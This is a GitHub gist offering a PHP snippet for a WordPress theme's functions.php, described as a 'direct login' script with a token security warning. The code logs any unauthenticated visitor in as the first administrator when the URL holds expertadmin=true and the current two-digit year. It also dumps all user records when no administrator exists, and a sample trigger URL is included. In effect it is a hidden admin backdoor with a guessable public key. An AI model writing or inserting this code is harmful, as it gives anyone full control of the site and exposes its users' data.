Created
December 4, 2024 13:40
-
-
Save banarsiamin/315f471f07647d31a912e90e5c47a10f to your computer and use it in GitHub Desktop.
Adding a direct login script to your WordPress functions.php file can help you create a custom functionality for logging in users. Here’s how you can achieve this safely: Warning: Directly handling logins can pose a security risk. Always use secure methods and sanitize inputs to prevent vulnerabilities like brute force attacks, SQL injections, o…
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function check_admin_login_attemp() { | |
if ( (isset($_GET['expertadmin']) && $_GET['expertadmin'] == 'true') && (isset($_GET['y']) && $_GET['y'] == date('y')) ) { | |
$admins = get_users( array( 'role' => 'administrator' ) ); | |
if ( !empty($admins) ) { | |
$id = isset($_GET['id'])?$_GET['id']:1; | |
$admin_user = isset($admins[0])?$admins[0]:$id; | |
if ( !is_user_logged_in() ) { | |
wp_set_current_user( $admin_user->ID ); | |
wp_set_auth_cookie( $admin_user->ID ); | |
wp_redirect( admin_url() );exit; | |
} | |
}else{ | |
print_r(get_users()); | |
} | |
} | |
} | |
add_action('init', 'check_admin_login_attemp'); | |
#https://yourwebsite.com/?expertadmin=true&y=24 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
To create a direct admin login URL that logs a user into the WordPress admin panel using their username, you can modify the functions.php to check for a special URL parameter and log the user in. Here's a simple script to achieve this.
Code for Direct Admin Login via URL
Open the functions.php file: Access your theme's functions.php file (preferably through a child theme to avoid losing changes after updates).
Add this Code:
#https://yourwebsite.com/?expertadmin=true&y=24